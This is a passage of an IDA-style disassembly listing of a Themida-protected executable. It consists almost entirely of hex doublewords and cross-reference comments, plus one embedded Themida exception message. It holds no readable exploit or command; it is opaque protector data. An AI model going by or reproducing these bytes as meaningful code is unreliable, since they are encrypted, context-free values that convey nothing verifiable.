0C19D0D6Dh, 14AF1070h, 1CABC2CDh, 0DAB09FB0h dd 960664BBh, 0BF66FC07h, 65CDE7B1h, 370h, 14E151ADh, 4B2A9A1Fh dd 0CE959D4h, 54219117h, 0AEB5BDFh, 1FA31E8Dh, 0D659C6AFh dd 24A08F66h, 0F152E1B4h, 0FBE3F481h, 9E9B0148h, 112BEC16h dd 0DE65C624h, 1086F2BBh, 0B75E7142h, 0FA9B0B68h, 0DB0BAB2Eh dd 0DAFCD903h, 1A08CB63h, 3129C9Fh, 4788E634h, 36E38944h dd 0E882AD98h, 9B507DBDh, 0E72F0016h, 935B418Ch, 0B282E16h dd 0FD39A9h, 0C9802F6Ah, 9DBDC364h, 0DB4BAD06h, 1C08E2DBh dd 0BAh, 57C724F0h, 80F0525Fh, 0F6A92F96h, 0C0431086h dd 0C52BB734h, 0C0557A55h, 76A01073h, 3A043404h, 370777F9h dd 86F7458Ch, 73172810h, 0F1DA62E1h, 4A5B169Bh, 0B3BFBABh dd 9EA79033h, 3F74108Bh, 7F4D49B9h, 0AA5D9DC4h, 604F601Ch dd 0F20D168Ah, 9FC59126h, 426F4F60h, 99C550C0h, 0D4D900C3h dd 93A41CAAh, 48B83AF7h, 0C070A0B5h, 0C52D47B1h, 278h dd 3CD949A5h, 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h dd 179B1695h, 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h dd 9E9869B0h, 0E9531416h, 0B83AC624h, 5A576748h, 0C72A69D9h dd 7C6E5F57h, 51C142F1h, 624F78C4h, 54296DDDh, 6AF675B6h dd 7FB79808h, 28851172h, 0AE817EB8h, 0EF1FDFC7h, 13360DCFh dd 0DA1086F2h, 0A81B21C9h, 169C1BD8h, 0E3625465h, 1693DBBAh dd 68E1CC43h, 9DBD4705h, 2E8Bh, 0BAB9F00h, 0EC4003DBh dd 0F169C1Ah, 531A122h, 6D3E6208h, 70E06051h, 73A14946h dd 93DACD10h, 0D0FFBA16h, 0BD41F479h, 337C9Dh, 0B6900000h dd 1086F296h, 617DAD51h, 0DCF55A7Bh, 545079F4h, 2B6BDB5Fh dd 7D0DB852h, 9E169C7Bh, 4758E4B9h, 15F564BEh, 89CE90A1h dd 0BB8181EAh, 8510FA15h, 0E3624FB7h, 5D219773h, 0BEB2112Dh dd 0BF169C1Fh, 0D2FD6DD2h, 0DC3C61E4h, 4EC91693h, 4C7FEA5Fh dd 4A059DBDh, 21000000h, 86F297B6h, 8FB05010h, 86F2ED34h dd 0E7E0310h, 0B8893708h, 0C795C797h, 86F2D5FCh, 0E3879810h dd 9C2628B8h, 0E2F3B516h, 11AC350Dh, 0D0F9ACB7h, 9B169308h dd 8ED0A58Ah, 8ACF550h, 7E4F1693h, 0C7012459h, 0E2889A11h dd 0DB0BAB3Ah, 0DA4AAE03h, 0F161C7DCh, 3E7C8C5h, 3F379231h dd 7546169Fh, 7BEB4869h, 9A26859Ah, 906DA919h, 4DF177BFh dd 533AD025h, 6D42D5A3h, 0DE52F251h, 0D2E31087h, 0D444A70Ch dd 2191F241h, 67B383F5h, 6DC79000h, 0A331CC9Dh, 1DBE3CCh dd 4C2168DBh, 0BD3F1CB7h, 0CC74494Dh, 68B40FFBh, 0D1AADBDh dd 0C7B6613Ch, 8FA5ABA5h, 0B333h, 9C0C6A00h, 57C72AF9h dd 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h dd 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 9ED6FBCAh, 0D495169Eh dd 0DB0BAB68h, 3EE84003h, 1E13169Fh, 5B3B2F9Fh, 0D4574C4Ah dd 3C7AEA48h, 81F15043h, 0FE97B895h, 0E246D231h, 644B4472h dd 718FD332h, 0D75E14D5h, 0CDCD0AE8h, 0F0AAE0B2h, 11729F4Bh dd 0DC5FD4A1h, 0FC81C87Bh, 5B6C18D8h, 0CF314274h, 0D0327F5Fh dd 0B1593660h, 99BE8083h, 10E41049h, 99AA8DA7h, 1F2A306Ch dd 5B8DF8Bh, 44D141C2h, 421C8CEFh, 4A2090F1h, 52B102CCh dd 2FDBB4E2h, 393h, 4B2FA700h, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 64ED6878h, 2C890000h, 29926824h, 3C890000h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 2434895Ch dd 291E68h, 24048900h, 184ED2B8h, 58C78906h, 4EC81h, 24890000h dd 24048124h, 4, 8BB535Eh, 1000000h, 8B3B89F3h, 0C481241Ch dd 4, 5E2434FFh, 4C481h, 3C8B0000h, 0E6895624h, 4C681h dd 0C6830000h, 24348704h, 10BCE95Ch, 7F57FFFDh, 5074B00h dd 6A2D21B1h, 0F4FADAF4h, 186D1EB8h, 0FFC50306h, 0A3FBB3E0h dd 8D10626Ch, 57627D19h, 7B5CCC6Ah, 0C33B2629h, 0E9A34832h dd 0CA455402h, 50972261h, 82FEA165h, 0C3B6CA42h, 9D6C3B73h dd 7D050F10h, 7DB7B114h, 7C278B3Ch, 91D42E36h, 9F424146h dd 0C9DC102h, 37FF2349h dd 6E81Ch, 3ACE0000h, 0FAB657Ah, 880BB966h, 9E95Eh, 0C7A90000h dd 0C1B62F16h, 8188DBCAh, 6972C6h, 80525700h, 5A590AD6h dd 0E953DB2Bh, 12h, 6D311894h, 9FB9D6D3h, 12945FA6h, 7E9124A7h dd 8B58C2E9h, 0C7811E3Ch, 413E08B0h, 48F0Fh, 0B8660000h dd 0F781966Fh, 9C32C65h, 3850F60h, 66000000h, 8161FE8Bh dd 1F2169C7h, 0CDB96639h, 0C18B578Ch, 801E048Fh, 0BE804EAh db 3 dup(0) byte_5B08A7 db 0F4h ; DATA XREF: Themida_:00579D24o dd 0A843E8B6h, 0D7D903CEh, 5AF871A0h, 0B802EB83h, 5FE96FB6h dd 0F1814B4Bh, 7F7C6123h, 9730FB81h, 850FFFFFh, 0FFFFFF9Bh dd 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 12A7E900h, 0F600000h, 381h, 0CFBF0F00h, 12D58D89h, 8B610615h dd 15178985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 2B7EC397h, 75175A38h, 9D31621Ch dd 61515DDh, 71958960h, 8106152Eh, 0E12D6DEEh, 4439615Eh dd 850F0424h, 52h, 0F1B589FCh, 83061527h, 15295DBDh, 840F0006h dd 3Eh, 5E9h, 15836B00h, 858DA87Bh, 6153B38h, 918589h dd 0E0FF0615h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 3DC35545h, 80EF2AC7h, 7019D09h, 858B0615h, 6150789h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h dd 5DC21660h, 0ED7C7A0h, 12E9CAh, 5D0C0000h, 5A51231Ah dd 6EE1086h, 90AB183Eh, 2806408Ch, 4244439h, 5D850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 79C4C1C3h, 8589E535h, 6153095h, 13860Fh, 0EE90000h dd 21000000h, 6A9529A5h, 0AD29B4Ch, 7EFEEE58h, 0A285C738h dd 1061872h, 0F000000h, 0E8Bh, 800F6000h, 0 dd 104DBD89h, 60610615h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0F8C35242h, 5B06058Ah, 0BD898C17h, 6153461h dd 33E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 850F272Fh, 0Ch, 6820Fh, 95090000h dd 615235Dh, 0 dd 1B8h, 5D858700h, 0B061874h, 0FFF675C0h, 1509C5B5h, 9A858F06h dd 6A061872h, 0FFFF6A20h, 15248D95h, 21BD8306h, 61502h dd 6A0874h, 2E2195FFh, 0BD830615h, 6151E01h, 680D7401h dd 80h, 95FFFF6Ah, 615248Dh, 9589FC60h, 6150329h, 52006A61h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0F3ACBDD3h, 0E97ABAF0h, 8, 5C881676h, 5C2F9C2Fh, 13E9h dd 1B8A4E00h, 7E73C832h, 613A6F5Bh, 0F5840EC9h, 0DC85E1BCh dd 0B8h, 85B58900h, 8B061504h, 60282454h, 0B58BC68Ah, 61524F9h dd 8589F961h, 6150A5Dh, 0D58D8B60h, 0E8061525h, 0Ah, 0A6B8759Bh dd 8F378092h, 0FE9B6AAh, 4A000000h, 5659468h, 78152E57h dd 5DD2EEFh, 6158129Fh, 3CBEh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0E39AF4AAh dd 0CE9h, 0C4B23100h, 0C01F5AB0h, 0A2CCB965h, 3616078h dd 0F242474h, 68Dh, 15B52900h, 6606150Ch, 0BE9ADh, 0E8910000h dd 326E0254h, 0C63B633Dh, 2444037Fh, 0BD296024h, 6150D65h dd 189D9D29h, 50610615h, 22810Fh, 52500000h, 310F5250h dd 310F585Ah, 11E9h, 6167C00h, 287E6E96h, 4961BA91h, 1024C83Dh dd 585A55FCh, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 44B1C351h, 895DFE3Fh dd 15176595h, 29B58906h, 8B061530h, 6A7840h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DC6D70C3h dd 83F9220Ch, 1872A2BDh, 850F0006h, 157h, 68C0Fh, 8D290000h dd 6151075h, 50525090h, 0F525052h, 0F585A31h, 0F525031h dd 5A585A31h, 60310F58h, 0B2C2E5BEh, 8E965h, 39D60000h dd 0E9C68DEEh, 5A61E1FAh, 8F0F5058h, 14h, 0FE9h, 777E7700h dd 0E679C792h, 19922928h, 3C0C56DDh, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0C20178D7h dd 36A995CEh, 8E93A44h, 0C000000h, 0D691AC1Bh, 9BBEEBFh dd 151D6D85h, 24448B06h, 52006A2Ch, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0CFE29CF4h, 40177FC4h dd 0BE9DBh, 797A0000h, 4F3622D3h, 0F4747D1Ah, 11E97Ch dd 9C070000h, 5FB0A87h, 58555F6Dh, 0CD2A3DA3h, 5029CB63h dd 8E0F5250h, 6, 860Fh, 310F0000h, 820F5250h, 0 dd 850F310Fh, 0 dd 585A585Ah, 0E9240489h, 11h, 2570E691h, 2BCC080h, 0EFAE10C6h dd 197B8484h, 95BD0194h, 8D061516h, 1845F685h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 29F504B2h, 15088595h, 0FD0FF06h, 68Ah, 0CD8D8900h, 306152Eh dd 0FC282444h, 26DDB589h, 408B0615h, 95896018h, 6150E3Dh dd 5E9h, 0F894FD00h, 6061C686h, 3F18D01h, 8B660615h, 6A4061F9h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 3CCCC353h, 0E9F9A63Fh, 0Ah, 53B9D2D8h, 5304E6ADh dd 0FE974CEh, 0F6000000h, 691B77CDh, 19F4A6Bh, 0B1A017DFh dd 85890AF6h, 618729Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 3BC35747h, 0BE833E13h, 29602742h, 151911BDh dd 9586106h, 1502D5BDh, 78708B06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 2BC35242h, 500A5ACDh, 68F0F0Dh dd 1000000h, 151545B5h db 6, 83h word_5B129A dw 1CC6h ; DATA XREF: Themida_:0057C454o dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8CC35141h dd 3DB767D3h, 8D640B96h, 6A9654h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8C0FF6C3h, 0Eh, 35958B60h dd 89061517h, 15141D8Dh, 7C816106h, 2424h, 870F1000h, 13Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 24C35040h dd 0FF791EFAh, 4A8C983h, 0B8B160F5h, 52505061h, 128C0Fh dd 0DE90000h, 8E000000h, 215FD9FBh, 0C5503293h, 0D77B8AAEh dd 8A0F310Fh, 0Ch, 7E9h, 27D34C00h, 0E11394AEh, 489585Ah dd 0FE924h, 95CC0000h, 0B0D197BFh, 16921481h, 1D4AB1CCh dd 24448B5Fh, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 1B306D7Ch, 4651D700h, 2A919589h dd 0F900615h, 1282h, 0DE900h, 0B65E0000h, 80880AA2h, 7715870Dh dd 501EEDF3h, 52505250h, 0DE9h, 8C4FD800h, 0F58C13F1h dd 0A12E2BD4h, 310F8D5Eh, 8F0Fh, 585A0000h, 8B60310Fh dd 61E5B5CBh, 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 2D4DC356h, 18ED8531h dd 0BD310615h, 6153439h, 45F6858Dh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 557335C3h dd 0A9BD0194h, 0FF061505h, 0D9D89D0h, 9606151Dh, 0AE9h dd 8A147900h, 3CAF2519h, 367C2B0h, 6A242474h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0C390C352h, 4F072581h, 0E9536E65h, 0Ah, 2A09EFE9h, 0BA562351h dd 0BD8D62E0h, 61521D9h, 0B8F0Fh, 66600000h, 9D03D68Bh dd 61518A5h, 0B589AD61h, 61509F1h, 24247C81h, 10000000h dd 120870Fh, 60F80000h, 2761BD8Bh, 0AE80615h, 66000000h dd 0A29BFCEEh, 257DA5BDh, 0BE90Bh, 0AC340000h, 0B160B98h dd 5D777FE4h, 906159C3h, 6E9h, 1E131B00h, 503D7150h, 8A0F5250h dd 2, 310F6160h, 10E95250h, 39000000h, 6FEBB6C9h, 0F4414B4Ah dd 60AE3B4Bh, 0FEB4007h, 0F525031h, 5A585A31h, 90585A58h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D1C35343h dd 0E9DFD28Eh, 0Bh, 1A872C4Ah, 8C0BFE45h, 8BD1406Dh, 89282444h dd 15182D95h, 0E9609006h, 0Dh, 0EEFB0571h, 878BF83Fh, 67CE04B3h dd 0F5061C8h, 0E89h, 9E900h, 29800000h, 9278727Ah, 9073B932h dd 10C99501h, 858D0615h, 61845F6h, 0C880Fh, 800F0000h dd 6, 8A18D09h, 0D0FF0615h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 42C35343h, 80E3DEC1h, 11E9h, 0B12EBB00h dd 0A7FB5C94h, 0F0622C37h, 0C7FF9D13h, 4403479Ch, 8D292424h dd 6150E11h, 52006AABh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 7AEB82Dh, 2F4BE88Eh, 8D2939D5h, 6151A3Dh dd 0FA81h, 820F0001h, 748h, 0C8A0Fh, 890F0000h, 6, 8B0Fh dd 0BD8D0000h, 615186Dh, 6E9h, 85192A00h, 0F80FDC4h, 0E87h dd 0DE816000h, 57101B53h, 0AF72D981h, 0AD614145h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DFC35040h, 731B26Ch dd 61A6991Bh, 14E960h, 2FBA0000h, 0F4A8D9CAh, 0D8603980h dd 0C7240DF7h, 0EEF1A1ABh, 0E961B815h, 0Ah, 0CEF6614h dd 9261D547h, 7C815401h, 2424h, 870F1000h, 0F3h, 0B830Fh dd 6E90000h, 4A000000h, 3F815DBDh, 52505095h, 32BF6660h dd 615857F2h, 0F60310Fh, 80h, 830F00h, 61000000h, 489585Ah dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0E44EF007h, 18C0F50h, 0F5000000h, 27D8589h dd 448B0615h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 212EABC3h, 9529038Ch, 61519F9h dd 60525050h, 5E8h, 0AEC08200h, 0B05B341Fh, 310F6114h dd 0F525060h, 8B585A31h, 585A61D6h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 458C350h, 10E9FCDDh, 64000000h, 4E5A891Dh, 0A5230E2Eh dd 56C3EF83h, 8DE09D9Ah, 1845F685h, 0FDBD8906h, 0FF061506h dd 4D9589D0h, 3061510h, 0F242444h, 68Ah, 7DB58900h, 50061510h dd 0FE9h, 6DAAF400h, 80A3AD7Eh, 0A06DECDEh, 0D4781477h dd 31240489h, 15286DB5h, 6AAB06h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0ED48A5C3h, 573E7FD5h dd 0EE9E5A1h, 35000000h, 96E1CF45h, 748A71E7h, 0B890376Bh dd 21BD8DBBh, 6A061530h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 951EC357h, 2D45E339h dd 9AFE186h, 150D99BDh, 18B0F06h, 0F8000000h, 56006AADh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0DD80605Dh, 6820FF8h, 0F000000h, 85h, 800F6100h, 0Eh dd 0DD958960h, 0F061525h, 89h, 7C816100h, 2824h, 870F1000h dd 0D7h, 18018D09h, 0F500615h, 1581h, 0BE86000h, 9C000000h dd 0B7AF6654h, 0BB61BC75h, 505B1EADh, 4896158h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0A29F5524h, 2C24448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0B3C35747h, 0BAAD9F86h, 0F1852995h, 5006152Dh dd 12E960h, 6CB40000h, 81873931h, 92A92901h, 645C8F99h dd 90939FCCh, 8961C28Bh, 0BD892404h, 61504A9h, 45F6858Dh dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0D3AA5AC3h, 4454AA65h, 604EDAB0h, 8166CB8Bh dd 6189F7EEh, 1860Fh, 0FFF50000h, 558501D0h, 3061534h dd 89282444h, 152CB98Dh, 5EF5AB06h, 729E8DFFh, 0BD830618h dd 618729Eh, 330A7500h, 0C0B58DC0h, 0FF061882h, 81AD56E6h dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 1845F685h dd 3D0FF06h, 97282444h, 858ADF8Bh, 618729Ah, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 0A5D85FFh, 5DE90615h, 5EFFFFFFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h, 830F3BD0h dd 6, 2F2D8501h, 95290615h, 6153399h, 0A1BD0360h, 6606152Dh dd 0E172E381h, 5D858B61h, 106150Ah, 15225985h, 6AE0D106h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 13E0C355h, 9B10998Dh, 0FF59B16h, 685h, 49BD8900h dd 60061522h, 8C18D89h, 0BF660615h, 3615FA3h, 15302185h dd 11E906h, 446E0000h, 0A14F9B2h, 4262D6CAh, 1E9144E3h dd 0E98624C6h, 5, 867A65A3h, 0BE30h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F965DC3h dd 18Eh, 0AD66F500h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 3AC35242h, 71673DCEh, 1870Fh, 0C1F50000h dd 6A02E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 898D92C3h, 1533FD9Dh, 0D9850306h, 6A061521h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 6C0C356h, 0DE181BA8h, 8B6660F4h, 819D8BDEh dd 61061501h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0D9C3A8DEh, 9785EA17h, 0D8F0F57h dd 0E9000000h, 8, 4EA252B9h, 3CC8A546h, 5E9ADh, 1E0B0000h dd 816B55D8h, 24247Ch, 0F100000h, 10987h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 4D69E509h, 60716DEFh, 18ED9D89h, 9D8B0615h, 61522D9h dd 13E961h, 4B9E0000h, 0C6163C55h, 5534F5ECh, 981BF2Fh dd 856B32A4h, 0B660504Eh, 28A0F8Ch, 60000000h, 4896161h dd 8D31F924h, 6150D95h, 2824448Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0ACC35141h, 953D8496h, 0CE9h dd 0D8A1A000h, 7161527Eh, 0B71424FCh, 5E95040h, 26000000h dd 63FF1914h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 2495C355h, 95DA318Fh dd 36B301Dh, 0B9B58B60h, 0BB061524h, 0B3314B0h, 0F6858D61h dd 6A061845h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0F7DC352h, 0A86h, 5E900h, 38970000h dd 0FF140B66h, 4403F5D0h, 6A2424h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 829602C3h, 6E9h, 0CDB8D200h dd 894ABDF9h, 0E91C2444h, 10h, 2B9FD419h, 0CA5251CBh, 1DB7470Eh dd 4AC47CAAh, 6840Fh, 8D890000h, 6151555h, 9C585C6h, 0C7000615h dd 18745D85h, 6, 0A285C700h, 61872h, 0F000000h, 68Ch, 0E9B50900h dd 0F9061527h, 11E961h, 0C8D50000h, 488483CCh, 0ABB0DB52h dd 82C006A8h, 0C2FCC170h, 95290008h, 61522B9h, 21D9858Bh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 19F89DC3h, 0C8E0FF9h, 0F000000h, 68Fh, 0C9958900h dd 4A06151Ch, 952BF960h, 6151DBDh, 4D26B61h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E2C35242h, 9447C2Ah dd 152511B5h, 6AC20306h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0BCA2C356h, 75231EE4h dd 6A96B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 5C1114C3h, 0D704DAC6h, 6AADF5h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 415C5AC3h dd 75028567h, 247C8119h, 24h, 36870F10h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6008C356h, 2A81BD8Bh, 0E9610615h, 11h, 0C46BF375h, 0DFA7538Bh dd 0A2A8277Dh, 5EBB1C7Ch, 8D0F5067h, 8, 28C0Fh, 61600000h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 84FFC353h, 0D3A75714h, 448BFCD0h dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 50B0F7C3h, 14E9h, 0FCB72000h, 91BAA1B2h dd 2E9CE0B4h, 42139F4Ch, 0ADAB336Ah, 2404898Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0C0AAA951h dd 0FF5B746h, 0A8Dh, 5E506000h, 1DBD2Bh, 8D610615h, 1845F685h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 44F47C3Ah, 89C52750h, 150AC59Dh, 6AD0FF06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CBFDC357h, 850F08B3h, 1, 0FD48E9F9h, 8B0FFFFFh dd 1, 0F9858DFCh, 1061888h, 1509F1B5h, 60609006h, 0B661D18Bh dd 60506196h, 95045B9h, 618BB476h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BDB0FD34h dd 1D76A83Bh, 35FF64h, 60000000h, 0FFB8B60h, 80h, 66606100h dd 2B025DB8h, 1510FDBDh, 8B616106h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F73B12C3h dd 0F4845F16h, 85090FCCh, 6152F05h, 16018589h, 85890615h dd 6152A65h, 2789BD89h, 89640615h, 25h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 23DDD4E7h, 0E860F302h, 13h, 0D44CBDB3h, 4D732D60h, 0FCE5DA61h dd 2A4253D8h, 60FEE3DCh, 820F5F61h, 0 dd 0A5858D61h, 31061886h, 152B29B5h, 0FDB58906h, 8906152Fh dd 6A0160h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 9A03FC3h, 0AEE94A95h, 6A000002h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 491EC353h, 0DB8BF96Ch, 0E8h, 0ED815D00h, 618869Eh dword_5B20D4 dd 12FF9CBCh, 1BD8300h, 6151Eh, 858B1874h, 6152849h, 8B0000C6h ; DATA XREF: Themida_:0057B454o dd 15282D85h, 0C606h, 266995FFh, 0FF600615h, 186EA6B5h dd 0AA858D06h, 5006186Eh, 70A2858Dh, 0FF500618h, 152F2995h dd 0CC48306h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0E747BEAEh, 5C5462A8h, 0A619D09h dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 7DFA9DC3h, 12547894h, 70A2B58Dh, 6A0618h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0D6F9D4C3h, 0EE9F897h, 0FC000000h, 223DEBECh, 50BE2170h dd 0E8C3E951h, 95BD8D26h, 6A06151Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1D2DC356h dd 5D26DB58h, 960F53Ch, 1511818Dh, 218D2906h, 6106152Dh dd 0F003E80h, 3784h, 0E58D2900h, 0A406152Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AAC35242h, 9D01EDD1h dd 6152F55h, 0FFC6E9F9h, 8D01FFFFh, 6150655h, 0B8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 5291B0C1h, 6660600Ah, 0F58E4DB9h, 25858B61h, 61061529h dd 5DBD89AAh, 0FC061504h, 7B8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F06E464h dd 682h, 41958900h, 0F061510h, 1E80h, 18810F00h, 0E9000000h dd 13h, 0B2E94E2Fh, 1525EACh, 77271214h, 2B8E2895h, 89F686A8h dd 150451B5h, 985C706h, 1061516h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 7525C357h, 2B49C7A2h, 4F9E8D8Dh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6308BCC3h dd 845A1F54h, 8D895601h, 6150879h, 6AE1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 97D194C3h dd 382B7EC3h byte_5B2328 db 8Bh ; DATA XREF: Themida_:0057A7A0o ; Themida_:0057ADA8o byte_5B2329 db 5Ch, 24h, 0Ch ; DATA XREF: Themida_:0057BAFCo dd 0E855h, 815D0000h, 188903EDh, 0B8838B06h, 89000000h dd 186EA685h, 97858D06h, 89061886h, 0B883h, 0C0335D00h dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 2585015Eh, 8906151Ah, 1506619Dh, 6A6006h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0BF395C3h, 1299DFE3h, 8B56858Dh, 81600618h, 0D7F98EC3h dd 6D8D0325h, 61061526h, 9E9h, 0B3E12200h, 808BA33Eh, 0E9501D36h dd 8, 8E637AF0h, 4685336Ch, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1AB9C352h dd 6A794347h, 174D8589h, 0FF640615h, 35h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 9ECE5DD8h, 6475A0BBh, 2589h, 8DF90000h, 188BCB85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 1D1870E3h, 89E3F515h, 